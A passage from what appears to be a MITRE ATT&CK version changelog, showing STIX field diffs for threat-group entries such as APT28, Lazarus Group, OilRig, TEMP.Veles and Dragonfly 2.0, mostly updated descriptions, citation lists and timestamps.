| external_references[14]['description'] | Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. | NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021. |
| external_references[14]['url'] | https://www.justice.gov/file/1080281/download | https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF |
| external_references[15]['source_name'] | Ars Technica GRU indictment Jul 2018 | DOJ GRU Indictment Jul 2018 |
| external_references[15]['description'] | Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018. | Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. |
| external_references[15]['url'] | https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/ | https://www.justice.gov/file/1080281/download |
| external_references[16]['source_name'] | Crowdstrike DNC June 2016 | Ars Technica GRU indictment Jul 2018 |
| external_references[16]['description'] | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. | Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018. |
| external_references[16]['url'] | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ | https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/ |
| external_references[17]['source_name'] | FireEye APT28 | Crowdstrike DNC June 2016 |
| external_references[17]['description'] | FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. |
| external_references[17]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
| external_references[18]['source_name'] | SecureWorks TG-4127 | FireEye APT28 |
| external_references[18]['description'] | SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016. | FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. |
| external_references[18]['url'] | https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf |
| external_references[19]['source_name'] | FireEye APT28 January 2017 | SecureWorks TG-4127 |
| external_references[19]['description'] | FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017. | SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016. |
| external_references[19]['url'] | https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf | https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign |
| external_references[20]['source_name'] | GRIZZLY STEPPE JAR | FireEye APT28 January 2017 |
| external_references[20]['description'] | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. | FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017. |
| external_references[20]['url'] | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf | https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
| external_references[21]['source_name'] | Sofacy DealersChoice | GRIZZLY STEPPE JAR |
| external_references[21]['description'] | Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018. | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. |
| external_references[21]['url'] | https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/ | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf |
| external_references[22]['source_name'] | Palo Alto Sofacy 06-2018 | Sofacy DealersChoice |
| external_references[22]['description'] | Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018. | Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018. |
| external_references[22]['url'] | https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ | https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/ |
| external_references[23]['source_name'] | Symantec APT28 Oct 2018 | Palo Alto Sofacy 06-2018 |
| external_references[23]['description'] | Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018. | Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018. |
| external_references[23]['url'] | https://www.symantec.com/blogs/election-security/apt28-espionage-military-government | https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ |
| external_references[24]['source_name'] | ESET Zebrocy May 2019 | Symantec APT28 Oct 2018 |
| external_references[24]['description'] | ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019. | Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018. |
| external_references[24]['url'] | https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/ | https://www.symantec.com/blogs/election-security/apt28-espionage-military-government |
| external_references[25]['source_name'] | US District Court Indictment GRU Oct 2018 | ESET Zebrocy May 2019 |
| external_references[25]['description'] | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. | ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019. |
| external_references[25]['url'] | https://www.justice.gov/opa/page/file/1098481/download | https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/ |
| external_references[26]['source_name'] | Kaspersky Sofacy | US District Court Indictment GRU Oct 2018 |
| external_references[26]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015. | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. |
| external_references[26]['url'] | https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ | https://www.justice.gov/opa/page/file/1098481/download |
| external_references[27]['source_name'] | ESET Sednit Part 3 | Kaspersky Sofacy |
| external_references[27]['description'] | ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016. | Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015. |
| external_references[27]['url'] | http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf | https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ |
| external_references[28]['source_name'] | Talos Seduploader Oct 2017 | ESET Sednit Part 3 |
| external_references[28]['description'] | Mercer, W., et al. (2017, October 22). "Cyber Conflict" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018. | ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016. |
| external_references[28]['url'] | https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html | http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf |
| external_references[29]['source_name'] | Securelist Sofacy Feb 2018 | Talos Seduploader Oct 2017 |
| external_references[29]['description'] | Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018. | Mercer, W., et al. (2017, October 22). "Cyber Conflict" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018. |
| external_references[29]['url'] | https://securelist.com/a-slice-of-2017-sofacy-activity/83930/ | https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html |
| external_references[30]['source_name'] | Accenture SNAKEMACKEREL Nov 2018 | Securelist Sofacy Feb 2018 |
| external_references[30]['description'] | Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019. | Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018. |
| external_references[30]['url'] | https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50 | https://securelist.com/a-slice-of-2017-sofacy-activity/83930/ |
| external_references[31]['source_name'] | TrendMicro Pawn Storm Dec 2020 | Accenture SNAKEMACKEREL Nov 2018 |
| external_references[31]['description'] | Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021. | Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019. |
| external_references[31]['url'] | https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html | https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50 |
| external_references[32]['source_name'] | Microsoft STRONTIUM Aug 2019 | TrendMicro Pawn Storm Dec 2020 |
| external_references[32]['description'] | MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019. | Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021. |
| external_references[32]['url'] | https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/ | https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html |
| external_references[33]['source_name'] | Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020 | Microsoft STRONTIUM Aug 2019 |
| external_references[33]['description'] | Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020. | MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019. |
| external_references[33]['url'] | https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/ | https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/ |
| x_mitre_version | 3.1 | 3.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020', 'description': 'Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.', 'url': 'https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/'} |
Current version: 1.3
Version changed from: 1.2 → 1.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-03 20:22:40.401000+00:00 | 2021-10-11 19:08:18.503000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-13 13:13:09.511000+00:00 | 2021-10-15 21:46:19.437000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 2.0
Version changed from: 1.5 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a | t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a |
| > | threat group that has been attributed to the North Korean go | > | North Korean state-sponsored cyber threat group that has bee | ||
| > | vernment.(Citation: US-CERT HIDDEN COBRA June 2017) The grou | > | n attributed to the Reconnaissance General Bureau.(Citation: | ||
| > | p has been active since at least 2009 and was reportedly res | > | US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Ko | ||
| > | ponsible for the November 2014 destructive wiper attack agai | > | rean Cyber Groups September 2019) The group has been active | ||
| > | nst Sony Pictures Entertainment as part of a campaign named | > | since at least 2009 and was reportedly responsible for the N | ||
| > | Operation Blockbuster by Novetta. Malware used by [Lazarus G | > | ovember 2014 destructive wiper attack against Sony Pictures | ||
| > | roup](https://attack.mitre.org/groups/G0032) correlates to o | > | Entertainment as part of a campaign named Operation Blockbus | ||
| > | ther reported campaigns, including Operation Flame, Operatio | > | ter by Novetta. Malware used by [Lazarus Group](https://atta | ||
| > | n 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. | > | ck.mitre.org/groups/G0032) correlates to other reported camp | ||
| > | (Citation: Novetta Blockbuster) In late 2017, [Lazarus Grou | > | aigns, including Operation Flame, Operation 1Mission, Operat | ||
| > | p](https://attack.mitre.org/groups/G0032) used KillDisk, a d | > | ion Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novett | ||
| > | isk-wiping tool, in an attack against an online casino based | > | a Blockbuster) North Korean group definitions are known to | ||
| > | in Central America. (Citation: Lazarus KillDisk) North Kor | > | have significant overlap, and some security researchers repo | ||
| > | ean group definitions are known to have significant overlap, | > | rt all North Korean state-sponsored cyber activity under the | ||
| > | and the name [Lazarus Group](https://attack.mitre.org/group | > | name [Lazarus Group](https://attack.mitre.org/groups/G0032) | ||
| > | s/G0032) is known to encompass a broad range of activity. So | > | instead of tracking clusters or subgroups, such as [Andarie | ||
| > | me organizations use the name Lazarus Group to refer to any | > | l](https://attack.mitre.org/groups/G0138), [APT37](https://a | ||
| > | activity attributed to North Korea.(Citation: US-CERT HIDDEN | > | ttack.mitre.org/groups/G0067), [APT38](https://attack.mitre. | ||
| > | COBRA June 2017) Some organizations track North Korean clus | > | org/groups/G0082), and [Kimsuky](https://attack.mitre.org/gr | ||
| > | ters or groups such as Bluenoroff,(Citation: Kaspersky Lazar | > | oups/G0094). | ||
| > | us Under The Hood Blog 2017) [APT37](https://attack.mitre.or | ||||
| > | g/groups/G0067), and [APT38](https://attack.mitre.org/groups | ||||
| > | /G0082) separately, while other organizations may track some | ||||
| > | activity associated with those group names by the name Laza | ||||
| > | rus Group. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-18 16:34:25.941000+00:00 | 2021-10-14 22:04:58.182000+00:00 |
| description | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk) North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group. | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). |
| external_references[7]['source_name'] | Novetta Blockbuster | Treasury North Korean Cyber Groups September 2019 |
| external_references[7]['description'] | Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. | US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021. |
| external_references[7]['url'] | https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf | https://home.treasury.gov/news/press-releases/sm774 |
| external_references[8]['source_name'] | Lazarus KillDisk | Novetta Blockbuster |
| external_references[8]['description'] | Kálnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018. | Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. |
| external_references[8]['url'] | https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/ | https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf |
| external_references[9]['source_name'] | Kaspersky Lazarus Under The Hood Blog 2017 | US-CERT HOPLIGHT Apr 2019 |
| external_references[9]['description'] | GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019. | US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019. |
| external_references[9]['url'] | https://securelist.com/lazarus-under-the-hood/77908/ | https://www.us-cert.gov/ncas/analysis-reports/AR19-100A |
| external_references[10]['source_name'] | US-CERT HOPLIGHT Apr 2019 | Microsoft ZINC disruption Dec 2017 |
| external_references[10]['description'] | US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019. | Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017. |
| external_references[10]['url'] | https://www.us-cert.gov/ncas/analysis-reports/AR19-100A | https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/ |
| external_references[11]['source_name'] | Microsoft ZINC disruption Dec 2017 | Secureworks NICKEL ACADEMY Dec 2017 |
| external_references[11]['description'] | Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017. | Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017. |
| external_references[11]['url'] | https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/ | https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing |
| x_mitre_version | 1.5 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Secureworks NICKEL ACADEMY Dec 2017', 'description': 'Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.', 'url': 'https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing'} |
Current version: 3.0
Version changed from: 2.0 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [OilRig](https://attack.mitre.org/groups/G0049) is a suspect | t | 1 | [OilRig](https://attack.mitre.org/groups/G0049) is a suspect |
| > | ed Iranian threat group that has targeted Middle Eastern and | > | ed Iranian threat group that has targeted Middle Eastern and | ||
| > | international victims since at least 2014. The group has ta | > | international victims since at least 2014. The group has ta | ||
| > | rgeted a variety of industries, including financial, governm | > | rgeted a variety of sectors, including financial, government | ||
| > | ent, energy, chemical, and telecommunications, and has large | > | , energy, chemical, and telecommunications. It appears the g | ||
| > | ly focused its operations within the Middle East. It appears | > | roup carries out supply chain attacks, leveraging the trust | ||
| > | the group carries out supply chain attacks, leveraging the | > | relationship between organizations to attack their primary t | ||
| > | trust relationship between organizations to attack their pri | > | argets. FireEye assesses that the group works on behalf of t | ||
| > | mary targets. FireEye assesses that the group works on behal | > | he Iranian government based on infrastructure details that c | ||
| > | f of the Iranian government based on infrastructure details | > | ontain references to Iran, use of Iranian infrastructure, an | ||
| > | that contain references to Iran, use of Iranian infrastructu | > | d targeting that aligns with nation-state interests. (Citati | ||
| > | re, and targeting that aligns with nation-state interests. ( | > | on: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig | ||
| > | Citation: Palo Alto OilRig April 2017) (Citation: ClearSky O | > | Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: P | ||
| > | ilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citat | > | alo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 20 | ||
| > | ion: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook | > | 17) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUA | ||
| > | Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit | > | DAGENT July 2018) | ||
| > | 42 QUADAGENT July 2018) This group was previously tracked un | ||||
| > | der two distinct groups, APT34 and OilRig, but was combined | ||||
| > | due to additional reporting giving higher confidence about t | ||||
| > | he overlap of the activity. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-26 12:59:49.642000+00:00 | 2021-10-15 22:04:08.941000+00:00 |
| description | [OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. | [OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) |
| external_references[5]['description'] | This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017) | This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021) |
| x_mitre_version | 2.0 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Check Point APT34 April 2021', 'description': 'Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.', 'url': 'https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/'} |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 15:48:20.759000+00:00 | 2021-05-26 12:40:42.907000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-06 18:40:51.440000+00:00 | 2021-10-12 22:07:18.072000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-13 13:13:09.511000+00:00 | 2021-10-15 21:46:19.437000+00:00 |
| x_mitre_version | 2.0 | 2.1 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Rus | t | 1 | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Rus |
| > | sia-based threat group that has targeted critical infrastruc | > | sia-based threat group that has targeted critical infrastruc | ||
| > | ture. The group has been observed utilizing TRITON, a malwar | > | ture. The group has been observed utilizing [TRITON](https:/ | ||
| > | e framework designed to manipulate industrial safety systems | > | /attack.mitre.org/software/S0609), a malware framework desig | ||
| > | .(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Vele | > | ned to manipulate industrial safety systems.(Citation: FireE | ||
| > | s 2018)(Citation: FireEye TEMP.Veles JSON April 2019) | > | ye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: | ||
| > | FireEye TEMP.Veles JSON April 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-02-09 14:34:04.242000+00:00 | 2021-10-17 14:49:09.631000+00:00 |
| description | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019) | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing [TRITON](https://attack.mitre.org/software/S0609), a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019) |
| external_references[2]['description'] | The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON.(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 ) | The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON .(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 ) |
| external_references[4]['url'] | https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html | https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html |
| external_references[8]['url'] | https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html | https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html |
| x_mitre_version | 1.2 | 1.3 |
Current version: 2.1
Version changed from: 1.3 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a | t | 1 | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a |
| > | suspected Russian group that has targeted government entitie | > | suspected Russian group that has targeted government entitie | ||
| > | s and multiple U.S. critical infrastructure sectors since at | > | s and multiple U.S. critical infrastructure sectors since at | ||
| > | least March 2016. (Citation: US-CERT TA18-074A) (Citation: | > | least December 2015. (Citation: US-CERT TA18-074A) (Citatio | ||
| > | Symantec Dragonfly Sept 2017) There is debate over the exten | > | n: Symantec Dragonfly Sept 2017) There is debate over the ex | ||
| > | t of overlap between [Dragonfly 2.0](https://attack.mitre.or | > | tent of overlap between [Dragonfly 2.0](https://attack.mitre | ||
| > | g/groups/G0074) and [Dragonfly](https://attack.mitre.org/gro | > | .org/groups/G0074) and [Dragonfly](https://attack.mitre.org/ | ||
| > | ups/G0035), but there is sufficient evidence to lead to thes | > | groups/G0035), but there is sufficient evidence to lead to t | ||
| > | e being tracked as two separate groups. (Citation: Fortune D | > | hese being tracked as two separate groups. (Citation: Fortun | ||
| > | ragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | > | e Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | ||
| STIX Field | Old value | New Value |
|---|---|---|
